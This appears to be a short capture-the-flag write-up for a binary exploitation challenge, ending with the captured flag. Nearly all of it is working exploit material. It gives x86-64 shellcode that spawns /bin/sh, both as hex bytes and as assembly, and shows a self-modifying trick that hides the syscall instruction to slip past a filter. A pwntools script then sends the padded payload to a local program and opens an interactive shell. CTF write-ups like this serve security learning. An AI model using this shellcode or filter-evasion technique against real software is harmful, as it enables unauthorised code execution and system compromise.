\x48\xBA\x2F\x62\x69\x6E\x2F\x73\x68\x00\x52\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x0F\x05
(length of shellcode is: 29 = 0x1d) We swap \x0F\x05 with \x00\x05 to bypass the syscall check and then we add code to mutate that byte.
mov rdx, 0x0068732f6e69622f
push rdx
mov rax, 0x3b
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
sub rsi, 0x2 # rsi originally points here, so subtracting 2 bytes makes it point to our target byte
mov BYTE PTR [rsi], 0xf
sub rsi, 0x1b # this makes rsi point to the beginning of the shellcode
jmp rsi
\x48\xBA\x2F\x62\x69\x6E\x2F\x73\x68\x00\x52\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x00\x05\x48\x83\xEE\x02\xC6\x06\x0F\x48\x83\xEE\x1B\xFF\xE6
from pwn import*
p = process('./MyProgram')
# Our shellcode with a masked syscall instruction
payload = b'\x48\xBA\x2F\x62\x69\x6E\x2F\x73\x68\x00\x52\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x00\x05\x48\x83\xEE\x02\xC6\x06\x0F\x48\x83\xEE\x1B\xFF\xE6'
# Pad the shellcode to ensure proper positioning
payload = payload.ljust(0x50 + 0x1d - 0x1, b'\x00')
p.sendline(payload)
p.interactive()
Flag: FL1TZ{https://www.youtube.com/watch?v=uOz6n-YvVT8}